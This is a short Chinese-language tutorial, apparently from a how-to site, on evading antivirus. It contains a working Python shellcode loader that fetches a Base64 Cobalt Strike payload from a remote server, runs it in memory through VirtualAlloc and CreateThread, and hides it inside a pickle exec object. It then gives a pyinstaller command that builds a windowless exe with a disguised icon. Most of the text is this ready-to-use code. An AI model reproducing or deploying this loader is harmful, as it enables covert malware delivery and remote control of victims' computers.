BypassAv有哪些小技巧
BypassAv有哪些小技巧，很多新手对此不是很清楚，为了帮助大家解决这个难题，下面小编将为大家详细讲解，有这方面需求的人可以来学习下，希望你能有所收获。
01开始
首先我们得用cobaltstrike生成一个python脚本的payload

然后复制里面的payload进行Base64编码
第二步把刚刚生成的Base64丢到里面进行访问
能看到这个就说明没错
import base64shellcode = """import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen('http://172.20.10.2:8080/1111.txt').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class A(object): def __reduce__(self): return (exec, (shellcode,))ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)#ret_decode = base64.b64decode(ret_base64)
只需要把地址添加到红框里面即可 然后运行
运行之后我们会得到下面的反序列化的

然后点击运行你会发现 在cs里面成功上线了一台机器
最后们利用pyinstaller这个脚本进行打包成exe
命令：pyinstaller -F 2.py --noconsole -i Ladon.ico --key 121212
生成完毕的exe在dist目录下
最后我们在测试一下能不能运行
